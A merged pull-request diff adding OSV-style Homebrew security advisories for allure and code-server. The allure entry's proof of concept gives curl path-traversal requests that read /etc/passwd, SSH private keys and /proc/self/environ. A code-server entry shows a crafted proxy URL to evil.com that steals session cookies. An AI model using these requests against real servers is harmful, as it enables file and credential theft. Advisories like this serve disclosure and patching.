Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
69 changes: 69 additions & 0 deletions advisories/BREW-allure-CVE-2026-55846.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
{
"schema_version": "1.7.3",
"id": "BREW-allure-CVE-2026-55846",
"published": "2026-08-13T16:35:13Z",
"modified": "2026-08-13T16:35:13Z",
"upstream": [
"GHSA-82cg-3hv7-74gc",
"CVE-2026-55846"
],
"affected": [
{
"package": {
"ecosystem": "Homebrew",
"name": "allure",
"purl": "pkg:brew/allure"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "2.45.0"
}
]
}
],
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "2.39.0"
}
}
],
"database_specific": {
"source": "matched",
"strategy": "registry",
"confidence": "high",
"upstream_evidence": [
{
"strategy": "registry",
"ecosystem": "Maven",
"name": "io.qameta.allure:allure-commandline",
"subject_version": "2.45.0",
"key": "pkg:maven/io.qameta.allure/allure-commandline@2.45.0"
}
]
},
"summary": "Allure Report: Path Traversal in HTTP Server Allows Arbitrary File Read",
"details": "## Summary\n\nThe built-in HTTP server started by `allure serve` and `allure open` is vulnerable to path traversal. The server resolves request URI paths directly against the report directory without normalizing or validating that the resolved path stays within the report directory. An attacker who can reach the server can read any file accessible to the Allure process by sending a request containing `../` sequences.\n\n## Details\n\nWhen `allure serve` or `allure open` is executed, `Commands.setUpServer()` creates an HTTP server with a handler that serves files from the report directory:\n\n**`allure-commandline/src/main/java/io/qameta/allure/Commands.java:325-339`**\n```java\nprotected HttpServer setUpServer(final String host, final int port, final Path reportDirectory) throws IOException {\n final HttpServer server = HttpServer\n .create(new InetSocketAddress(Objects.isNull(host) ? \"localhost\" : host, port), 0);\n\n server.createContext(\"/\", exchange -> {\n final Path resolve = reportDirectory.resolve(\".\" + exchange.getRequestURI().getPath()); // line 330\n if (Files.isDirectory(resolve)) {\n serveFile(exchange, resolve.resolve(\"index.html\"));\n } else {\n serveFile(exchange, resolve);\n }\n });\n\n return server;\n}\n```\n\nOn line 330, the handler constructs a file path by concatenating `\".\"` with the raw request URI path and resolving it against `reportDirectory`. For a request to `/../../../etc/passwd`:\n\n1. `exchange.getRequestURI().getPath()` returns `\"/../../../etc/passwd\"`\n2. String concatenation produces `\"./../../../etc/passwd\"`\n3. `reportDirectory.resolve(\"./../../../etc/passwd\")` resolves to e.g. `/tmp/allure-report/./../../../etc/passwd`\n4. The OS resolves this to `/etc/passwd`\n\nThere is no call to `.normalize()` followed by a `.startsWith(reportDirectory)` containment check. The `serveFile()` method (line 341) reads and returns any regular file without further validation.\n\nAdditionally, `URI.getPath()` returns the percent-decoded path, so `%2e%2e` is decoded to `..`, enabling traversal via `/%2e%2e/%2e%2e/etc/passwd` which bypasses clients that normalize `..` in raw form.\n\nThe server defaults to binding on `localhost` (line 327), which limits remote exploitation. However, the `--host` option allows users to bind to any interface (e.g., `--host 0.0.0.0`), which is commonly used in CI/CD and containerized environments. Even when bound to localhost, the vulnerability is exploitable by:\n- Other local users on shared/multi-tenant systems\n- DNS rebinding attacks from malicious web pages visited by the user\n- Adjacent containers in CI/CD environments that share a network namespace\n\n## PoC\n\n**Step 1:** Start the Allure server (simulating a typical CI/CD scenario with network binding):\n```bash\nallure serve ./test-results --host 0.0.0.0 --port 9090\n```\n\n**Step 2:** Read `/etc/passwd` via path traversal:\n```bash\ncurl --path-as-is 'http://localhost:9090/../../../etc/passwd'\n```\n\n**Step 3:** Alternative using percent-encoded traversal (works even with clients that normalize `..`):\n```bash\ncurl 'http://localhost:9090/%2e%2e/%2e%2e/%2e%2e/etc/passwd'\n```\n\n**Step 4:** Read sensitive application files (e.g., environment variables, SSH keys):\n```bash\ncurl --path-as-is 'http://localhost:9090/../../../home/user/.ssh/id_rsa'\ncurl --path-as-is 'http://localhost:9090/../../../proc/self/environ'\n```\n\nEach command returns the full contents of the requested file if readable by the Allure process.\n\n## Impact\n\nAn attacker who can reach the Allure HTTP server can read any file on the system that the Allure process has permissions to access. This includes:\n\n- **System credentials:** `/etc/shadow` (if running as root), SSH private keys, cloud provider credentials\n- **Application secrets:** Environment variables via `/proc/self/environ`, configuration files, API keys\n- **Source code and data:** Any file on the filesystem accessible to the running user\n\nIn CI/CD environments where Allure is commonly used, this could expose build secrets, deployment credentials, and other sensitive CI/CD artifacts. The lack of authentication means any client that can reach the server's port can exploit this vulnerability.\n\n## Recommended Fix\n\nNormalize the resolved path and verify it remains within the report directory before serving:\n\n```java\nserver.createContext(\"/\", exchange -> {\n final Path resolve = reportDirectory.resolve(\".\" + exchange.getRequestURI().getPath()).normalize();\n if (!resolve.startsWith(reportDirectory.normalize())) {\n exchange.sendResponseHeaders(403, 0);\n exchange.getResponseBody().close();\n return;\n }\n if (Files.isDirectory(resolve)) {\n serveFile(exchange, resolve.resolve(\"index.html\"));\n } else {\n serveFile(exchange, resolve);\n }\n});\n```\n\nThe `.normalize()` call collapses `..` sequences, and the `.startsWith()` check ensures the resolved path is still within the report directory. Requests attempting traversal receive a 403 Forbidden response.",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
}
],
"references": [
{
"type": "WEB",
"url": "https://github.com/allure-framework/allure2/security/advisories/GHSA-82cg-3hv7-74gc"
},
{
"type": "PACKAGE",
"url": "https://github.com/allure-framework/allure2"
}
]
}
77 changes: 77 additions & 0 deletions advisories/BREW-code-server-CVE-2021-3810.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
{
"schema_version": "1.7.3",
"id": "BREW-code-server-CVE-2021-3810",
"published": "2026-08-13T16:40:10Z",
"modified": "2026-08-13T16:40:10Z",
"upstream": [
"GHSA-49x3-8228-3w3m",
"CVE-2021-3810"
],
"affected": [
{
"package": {
"ecosystem": "Homebrew",
"name": "code-server",
"purl": "pkg:brew/code-server"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "4.112.0_1"
}
]
}
],
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "3.12.0"
}
}
],
"database_specific": {
"source": "matched",
"strategy": "registry",
"confidence": "high",
"upstream_evidence": [
{
"strategy": "registry",
"ecosystem": "npm",
"name": "code-server",
"subject_version": "4.112.0",
"key": "pkg:npm/code-server@4.112.0"
}
]
},
"summary": "Inefficient Regular Expression Complexity in code-server",
"details": "code-server is vulnerable to Inefficient Regular Expression Complexity",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
}
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3810"
},
{
"type": "WEB",
"url": "https://github.com/cdr/code-server/commit/ca617df135e78833f93c8320cb2d2cf8bba809f5"
},
{
"type": "PACKAGE",
"url": "https://github.com/cdr/code-server"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/38888513-30fc-4d8f-805d-34070d60e223"
}
]
}
77 changes: 77 additions & 0 deletions advisories/BREW-code-server-CVE-2021-42648.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,77 @@
{
"schema_version": "1.7.3",
"id": "BREW-code-server-CVE-2021-42648",
"published": "2026-08-13T16:40:10Z",
"modified": "2026-08-13T16:40:10Z",
"upstream": [
"GHSA-2gp3-6c9p-jp7w",
"CVE-2021-42648"
],
"affected": [
{
"package": {
"ecosystem": "Homebrew",
"name": "code-server",
"purl": "pkg:brew/code-server"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "4.112.0_1"
}
]
}
],
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "3.12.0"
}
}
],
"database_specific": {
"source": "matched",
"strategy": "registry",
"confidence": "high",
"upstream_evidence": [
{
"strategy": "registry",
"ecosystem": "npm",
"name": "code-server",
"subject_version": "4.112.0",
"key": "pkg:npm/code-server@4.112.0"
}
]
},
"summary": "Cross site scripting in code-server",
"details": "Cross-site scripting (XSS) vulnerability exists in Coder Code-Server before 3.12.0, allows attackers to execute arbitrary code via crafted URL.",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
}
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42648"
},
{
"type": "WEB",
"url": "https://github.com/cdr/code-server/issues/4355"
},
{
"type": "WEB",
"url": "https://github.com/coder/code-server/pull/4430"
},
{
"type": "PACKAGE",
"url": "https://github.com/coder/code-server"
}
]
}
81 changes: 81 additions & 0 deletions advisories/BREW-code-server-CVE-2023-26114.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
{
"schema_version": "1.7.3",
"id": "BREW-code-server-CVE-2023-26114",
"published": "2026-08-13T16:40:10Z",
"modified": "2026-08-13T16:40:10Z",
"upstream": [
"GHSA-frjg-g767-7363",
"CVE-2023-26114"
],
"affected": [
{
"package": {
"ecosystem": "Homebrew",
"name": "code-server",
"purl": "pkg:brew/code-server"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "4.112.0_1"
}
]
}
],
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "4.10.1"
}
}
],
"database_specific": {
"source": "matched",
"strategy": "registry",
"confidence": "high",
"upstream_evidence": [
{
"strategy": "registry",
"ecosystem": "npm",
"name": "code-server",
"subject_version": "4.112.0",
"key": "pkg:npm/code-server@4.112.0"
}
]
},
"summary": "code-server vulnerable to Missing Origin Validation in WebSockets",
"details": "Versions of the package code-server before 4.10.1 are vulnerable to Missing Origin Validation in WebSockets handshakes. Exploiting this vulnerability can allow an adversary in specific scenarios to access data from and connect to the code-server instance.",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
}
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26114"
},
{
"type": "WEB",
"url": "https://github.com/coder/code-server/commit/d477972c68fc8c8e8d610aa7287db87ba90e55c7"
},
{
"type": "PACKAGE",
"url": "https://github.com/coder/code-server"
},
{
"type": "WEB",
"url": "https://github.com/coder/code-server/releases/tag/v4.10.1"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-CODESERVER-3368148"
}
]
}
81 changes: 81 additions & 0 deletions advisories/BREW-code-server-CVE-2025-47269.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
{
"schema_version": "1.7.3",
"id": "BREW-code-server-CVE-2025-47269",
"published": "2026-08-13T16:40:10Z",
"modified": "2026-08-13T16:40:10Z",
"upstream": [
"GHSA-p483-wpfp-42cj",
"CVE-2025-47269"
],
"affected": [
{
"package": {
"ecosystem": "Homebrew",
"name": "code-server",
"purl": "pkg:brew/code-server"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "4.112.0_1"
}
]
}
],
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "4.99.4"
}
}
],
"database_specific": {
"source": "matched",
"strategy": "registry",
"confidence": "high",
"upstream_evidence": [
{
"strategy": "registry",
"ecosystem": "npm",
"name": "code-server",
"subject_version": "4.112.0",
"key": "pkg:npm/code-server@4.112.0"
}
]
},
"summary": "code-server's session cookie can be extracted by having user visit specially crafted proxy URL",
"details": "### Summary\n\nA maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.\n\n### Details\n\nFailure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token.\n\n### Impact\n\nAny user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.\n\nNormally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.\n\nWith access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.\n\n### Patches\n\nPatched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
}
],
"references": [
{
"type": "WEB",
"url": "https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47269"
},
{
"type": "WEB",
"url": "https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e"
},
{
"type": "PACKAGE",
"url": "https://github.com/coder/code-server"
},
{
"type": "WEB",
"url": "https://github.com/coder/code-server/releases/tag/v4.99.4"
}
]
}
Loading